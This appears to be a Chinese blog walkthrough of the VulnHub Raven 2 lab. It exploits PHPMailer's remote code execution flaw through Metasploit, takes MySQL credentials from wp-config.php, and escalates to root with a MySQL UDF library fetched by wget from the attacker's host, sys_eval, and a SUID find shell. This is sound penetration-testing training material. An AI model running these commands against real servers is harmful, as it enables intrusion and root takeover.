VulnHub-Raven-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/raven-2,269/
靶机描述:Raven 2是中级boot2root VM。有四个标志要捕获。在多次违反之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以违反Raven?
目标:找到4个flag

作者:嗯嗯呐

信息采集

nmap扫描靶机的IP地址
VulnHub-Raven-靶机渗透学习_第1张图片

扫描主机端口
VulnHub-Raven-靶机渗透学习_第2张图片

访问80端口,查看WEB界面
VulnHub-Raven-靶机渗透学习_第3张图片

使用dirb进行目录爆破,
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
爆破以下目录
VulnHub-Raven-靶机渗透学习_第4张图片

逐个目录查看,发现在vendor目录下,有一个有意思的文件
VulnHub-Raven-靶机渗透学习_第5张图片

在文件PTAH下,发现了第一个flag和一个绝对目录
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在这里插入图片描述

同时发现靶机使用了PHPMailer 版本号为 5.2.16
VulnHub-Raven-靶机渗透学习_第6张图片
VulnHub-Raven-靶机渗透学习_第7张图片

PHPMailer漏洞利用

PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。
查一查这个版本存不存在漏洞
发现PHPMailer远程执行漏洞
VulnHub-Raven-靶机渗透学习_第8张图片

msf利用一下试试,查询漏洞,因为2016-10033漏洞利用Sendmail函数进行注入,所有使用标注的exp
VulnHub-Raven-靶机渗透学习_第9张图片

配置参数
TARGETURI:配置/contact.php,因为PHPMailer在这个界面调用
TRIGGERURI:配置/ (此处的/为web程序的根目录,并非linux的根目录), 上传并可以执行payload路径
WEB_ROOT : 配置 /var/www/html ,从上面第一个flag出得到的路径可以判断出WEB的绝对路径在/var/www/html
VulnHub-Raven-靶机渗透学习_第10张图片

漏洞利用成功,获得shell,并获得tty
VulnHub-Raven-靶机渗透学习_第11张图片

进入www-datad的家目录,获得第二个flag
VulnHub-Raven-靶机渗透学习_第12张图片

执行 find / -name flag* ,查询到第三flag
在这里插入图片描述
在这里插入图片描述

是个图片格式,在web界面访问,查看到内容
VulnHub-Raven-靶机渗透学习_第13张图片

最后一个一定再root用户下,可是查了查uname -a ,是2018年的,试了还几个2018、2019的提权漏洞,都是不行
在这里插入图片描述

通过查看发现,发现系统部署了mysql,并且使用root用户启动
VulnHub-Raven-靶机渗透学习_第14张图片在这里插入图片描述

去应用的配置文件里看看有没有mysql的账号密码,在前面扫描的时候,只有wordpress目录没有进去查看过了
VulnHub-Raven-靶机渗透学习_第15张图片

发现里面有一个文件,权限是当前用户,而且名字那么露骨,一看他就不是个好人,wp-config.php
VulnHub-Raven-靶机渗透学习_第16张图片

果然,发现了mysql的账号密码
VulnHub-Raven-靶机渗透学习_第17张图片

用户:root 密码:R@v3nSecurity
连接Mysql 数据库 mysql -u root -pR@v3nSecurity,进入一个库
VulnHub-Raven-靶机渗透学习_第18张图片

Mysql UDF提权

看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限

show global variables like 'secure%';
 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

VulnHub-Raven-靶机渗透学习_第19张图片

发现可以导出导入文件,接下来查询对应的mysql的为数
show variables like ‘%compile%’; #查看主机版本及架构
VulnHub-Raven-靶机渗透学习_第20张图片

64位的mysql数据库,去找对应的payload,可以在msf目录下查找就行,因为是64位的,所以必须要使用lib_mysqludf_sys_64.so
注:dll文件应该在windows下使用的最好,我在linux实验了多次,都是不行,应该是我太菜了
在这里插入图片描述

复制出来

cp  /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root/Desktop/

在这里插入图片描述

在攻击机上启动5556端口,提供下载服务

python -m SimpleHTTPServer 5556

在这里插入图片描述

靶机执行下载命令

wget http://192.168.16.129:5556/lib_mysqludf_sys_64.so

VulnHub-Raven-靶机渗透学习_第21张图片

连接Mysql 数据库

mysql -u root -pR@v3nSecurity

进入一个库
VulnHub-Raven-靶机渗透学习_第22张图片

UDF提权的核心就是,将mysql的plugin目录下,将上面插件引入数据库,执行命令
所以要查询plugin目录的绝对目录,查询到plugin目录为/usr/lib/mysql/plugin/

show variables like 'plugin%'; 

VulnHub-Raven-靶机渗透学习_第23张图片

创建一个表用来存so文件的内容

create table temp6(data longblob);

在MySQL中Blob是一个二进制的对象,它是一个可以存储大量数据的容器(如图片,音乐等等),且能容纳不同大小的数据,在MySQL中有四种Blob类型,他们的区别就是可以容纳的信息量不容分别是以下四种:
①TinyBlob类型 最大能容纳255B的数据
②Blob类型 最大能容纳65KB的
③MediumBlob类型 最大能容纳16MB的数据
④LongBlob类型 最大能容纳4GB的数据
VulnHub-Raven-靶机渗透学习_第24张图片

将文件写入表中

insert into temp5(data) values (load_file('/var/www/html/lib_mysqludf_sys_64.so'));

在这里插入图片描述

将表中的文件内容,输出成一个文件,并存放到plugin目录中

select data from temp5 into dumpfile "/usr/lib/mysql/plugin/udf64.so";

在这里插入图片描述

导入文件,创建sys_eval函数

create function sys_eval returns string soname 'udf64.so';

在这里插入图片描述

之后就可以使用sys_eval函数执行命令试试了

select sys_eval('whoami');

VulnHub-Raven-靶机渗透学习_第25张图片

三种获取flag4方法

第一种:

提权成功,接下来可以在数据库里查看flag文件
VulnHub-Raven-靶机渗透学习_第26张图片
VulnHub-Raven-靶机渗透学习_第27张图片

第二种:
也可以通过chmod u+s命令获得root用户的shell

select sys_eval('chmod u+s /usr/bin/find');

“为了方便普通用bai户执行一些特权命令,SUID/SGID程序允许du普通用户以root身份暂时执zhi行该程序,并在执行结束后dao再恢复身份。”
chmod u+s 就是给某个程序的所有者以suid权限,可以像root用户一样操作。
VulnHub-Raven-靶机渗透学习_第28张图片

通过find命令的 exec参数,获取root的shell

find 1.txt -exec '/bin/sh' \;

-exec,find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为command {} ;,注意{ }和\之间的空格 。
{} : find找到的内容 。
; 是bash的特殊意义,就用反斜杠转义。
VulnHub-Raven-靶机渗透学习_第29张图片

查询flag4
VulnHub-Raven-靶机渗透学习_第30张图片

第三种:
有个更简单的,不用udf提权就可以获得flag4
在中间登陆数据库之后,执行命令

show global variables like 'secure%';

查询mysql是否支持文件读入和写入(OFF为可以任意地址读写文件)
VulnHub-Raven-靶机渗透学习_第31张图片

因为最后一个flag.txt大概猜到在root目录下面,也明白他的命名格式,盲猜试试
SELECT load_file(’/root/flag4.txt’) ;
成功获取flag4 完成!!!
VulnHub-Raven-靶机渗透学习_第32张图片
总结:
此靶机存在很多渗透方法,上面只是一种,仅供参考。本文章渗透思路如下图:
VulnHub-Raven-靶机渗透学习_第33张图片

叮叮咚咚完成,这几天一直在忙,只有没有来及发,今天吃过饭,修改了一下,文章中很多地方不太严谨,仅供大家一个图个乐吧,谢谢!!!

你可能感兴趣的:(mysql,linux,运维)